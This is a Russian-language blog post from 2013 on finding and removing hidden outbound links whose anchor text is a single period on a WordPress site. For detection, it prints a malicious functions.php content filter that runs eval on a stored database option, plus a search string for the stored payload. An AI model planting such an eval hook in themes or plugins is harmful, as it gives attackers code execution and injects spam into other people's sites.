Ссылки в точке. Находим и удаляем скрытые внешние ссылки

Главная » Создание блога » Заботимся о безопасности » Ссылки в точке. Находим и удаляем внешние ссылки из статей с анкором в виде точки

Ссылки в точке. Находим и удаляем внешние ссылки из статей с анкором в виде точки

2013-01-19 автор: Виталий Кириллов

Всем привет! Сегодня на SEO-Mayak.com неожиданная тема — ссылки в точке. Почему неожиданная? Потому, что эта статья не была запланирована мной заранее, а написать я ее решил после случайного обнаружения вредоносной ссылки в теле статьи, которая не была видна «не вооруженным глазом».

Странное дело, сразу в голове не укладывается. Как такое может быть, чтобы вредоносная ссылка была всего лишь точкой в статье? Уверен, что большинство веб-мастеров даже не подозревают о возможности существования таких ссылок и просто нечего об этом не слышали, так как для меня это был «гром среди ясного неба».

До чего дошел прогресс! Уважаемые мои читатели, дабы предостеречь Вас об сей скрытой опасности, я решил написать этот пост в не очереди.

Начну с того, что мне пришло письмо от моей постоянной читательницы и хорошего друга Натальи, за что ей мое огромное спасибо! Наталья написала, что обнаружила в моей статье FTP клиент Filezilla между предложениями — «На домашнем компьютере создаем папку и как-нибудь ее называем» и «В нее мы скопируем все файлы Вашего сайта и у Вас будет «Резервная копия», которую надо будет периодически обновлять» — открытую внешнею ссылку. Причем выражение — «Ссылка у Вас находится между строк» меня окончательно сбило столку.

ssylka v tochkae

Конечно я полез проверять статью и к своему удивлению ни чего не обнаружил.

Как потом выяснилось, у Натальи установлено расширение для браузера RDS bar, которое подсвечивает внешние ссылки определенным цветом.

Но воспользовавшись данным расширением я к своему даже уже не удивлению, а наверное разочарованию, снова ничего подозрительного на своем сайте не обнаружил.

Я даже пробежался в админку блога и посмотрел статью в редакторе, но не в html режиме и не визуальном режиме, ни чего похожего на ссылку я так и не нашел.

Потом я проверил шаблон плагином TAC, известным своей способностью находить скрытые ссылки, но опять ничего не было найдено и мой мозг тогда отказался вообще, что либо понимать.

В подтверждение своих слов, Наталья прислала мне скриншот. Вот как выглядела злополучная ссылка в моей статье на ее компьютере:

ssylki v tochkah

1. Видите зеленое пятнышко не скришоте, я его пометил стрелочкой, вот так расширение RDS bar пометило открытую внешнею ссылку.

2. Сайт, на который ведет данная ссылка.

Я понял одно — ссылка находится не между предложений, а каким-то образом зашифрована в точку. Но почему расширение RDS bar не подсвечивает внешнею ссылку в моем браузере? Отгадка нашлась быстро, стоило мне только зайти на сайт не как админ, а как обыкновенный посетитель и я наконец-то своими глазами увидел подсвеченную точку.

Но почему кода ссылки нет в html редакторе и где теперь его искать? Для того, чтобы окончательно убедиться в реальном существовании зловредной ссылки я запустил другое расширение для браузера, которое называется Firebug, очень нужный плагин для любого веб-мастера.

При наведении на выделенную точку я увидел следующее:

ssylki v tochkah

Ссылка действительно очень даже реальная и вполне внешняя. С этого момента я начну более подробно описывать все действия, которые необходимо совершить, чтобы обнаружить зашифрованную в точке ссылку.

Как обнаружить и обезвредить открытые внешние ссылки с анкором в виде точки

В первую очередь, если у вас до сих пор не установлено расширение RDS bar, то советую вам его обязательно установить.

Скачать расширение RDS bar для Google Chrome

Скачать расширение RDS bar для Mazilla Firefox

Скачать RDS bar для Opera

Самое продвинутое расширение RDS bar у браузера Mazilla Firefox, но и для других браузеров, также не лишне будет его скачать.

Запускаете данное расширение и в настройках указываете желаемый цвет, которым будут подсвечиваться все внешние ссылки на открытой станице.

Это на всякий случай, так как конечно совсем не обязательно штудировать все статьи блога вышеупомянутым расширением на предмет обнаружения внешних ссылок с «точечным» анкором, тем более, что такие ссылки находятся не во всех статьях, а расположены выборочно.

Немного покопавшись в интернете я нашел ответы на свои вопросы. Для того,чтобы вытравить противно-зловредную точку с сайта необходимо проверить файл functions.php, который находиться в папке с темой, и поискать в нем, что-то похожее на такой код:

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
 global $post;
 if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
 return $co;
 } else return $content;
}

Как попадает подобный код в файлы сайта? Возможно сайт был взломан или в шаблоне изначально была прописана злокачественная функция. Можно проверить файл functions.php на время последних изменений и если Вы сами в нем ни чего не редактировали, то тогда можно будет понять, была ли прописана данная функция недавно и значит сайт был взломан или она находилась в шаблоне с самого начала.

Еще есть возможность подхватить вирус при загрузки плагина, поэтому скачивайте плагины только с официальных сайтов.

Многие плагины такие, как плагины для закрытия внешних ссылок или плагины фотогалерей и другие, в своих функциях используют фильтры:

add_filter

Так вот, с помощью подобных фильтров, хакеры подменяют текст исходного контента на другой текст с уже встроенной ссылкой в точке. Удалять точки или менять их на другие знаки бесполезно, так как «точка» проявляется на другом участке текста.

Я свой сайт начинал делать еще на локальном сервере и без труда определил, что в свое время скачал шаблон с уже прописанной злокачественной функцией, что конечно очень обидно, так как я все равно его весь переделывал.

Если вдруг Вы обнаружите данный код в файле functions.php, то удаляйте его не задумываясь, но затем еще придется немного подчистить базу данных.

Чистим базу данных

Для того, чтобы почистить базу данных, зайдите на свой хостинг в раздел «Базы данных MySQL». В одной из таблиц базы данных функция фильтра автоматически прописывает обращение в виде такой строчки:

get_option(‘blogoption’)

Для выявления оставшегося корешка воспользуемся поиском в базе данных, куда вводим следующее:

return eval(file_get_contents

ssylki v tochkah

Поиск должен отыскать примерно следующее:

ssylki v tochkah3

Удаляем данную запись из базы данных и немного успокаиваемся, так как «точку» мы обезвредили, но я бы не советовал на этом останавливаться. Для пущей уверенности в «чистоте» сайта рекомендую воспользоваться скриптом «Ai-bolit», который можно скачать здесь.

Распаковываем скаченный архив и открываем для редактирования файл «ai-bolit.php». В строке ‘site_url‘ прописываем URL своего сайта:

ssylki v tochkah5

Закидываем файлы «ai-bolit.php», «.aignore» и «.aurlignore» в корень блога с помощью FTP клиента и в адресной строке браузера набираем:

http://ваш_сайт/ai-bolit.php?p=ваш_пароль

Пароль находить в файле «ai-bolit.php» в строке:

ssylki v tochkah6

Придется немного подождать пока скрипт создаст отчет по результатам сканирования сайта.

Конечно не каждый веб-мастер может разобраться в подобном отчете, но мне он например позволил еще раз убедиться в том, что еще есть над чем работать, но об этом уже в следующих статьях.

В заключение хотел вот что сказать.

Ни когда нельзя быть уверенным в неуязвимости наших сайтов и надо всячески заботиться об их безопасности.

Рекомендую в целях обороны установить два простых плагина, которые не требуют ни каких особых настроек, но выстраивают прочные укрепления для отражения хакерских атак.

Плагин Anti-XSS attack. Скачать его можно с официального сайта по этой ссылке. В интернете бытуют разные мнения по поводу актуальности этого плагина, но мое мнение такое — XSS-атаки еще никто не отменял. После активации плагина при входе в админку блога Вас сначала будет перебрасывать на страницу с такой ссылкой:

ssylki v tochkah8

Кликнув по ссылки вы попадете на страницу ввода логина и пароля.

Плагин Login LockDown. Скачать его можно с официального сайта здесь. Тоже очень простой плагин, который просто ограничивает число попыток неправильного ввода логина и пароля к Вашему сайту, блокируя доступ к адимнке после указанного числа неудачных попыток. После активации плагина в настройках можно ничего не менять.

Советую подписаться на обновления блога.

До встречи!

С уважением, Виталий Кириллов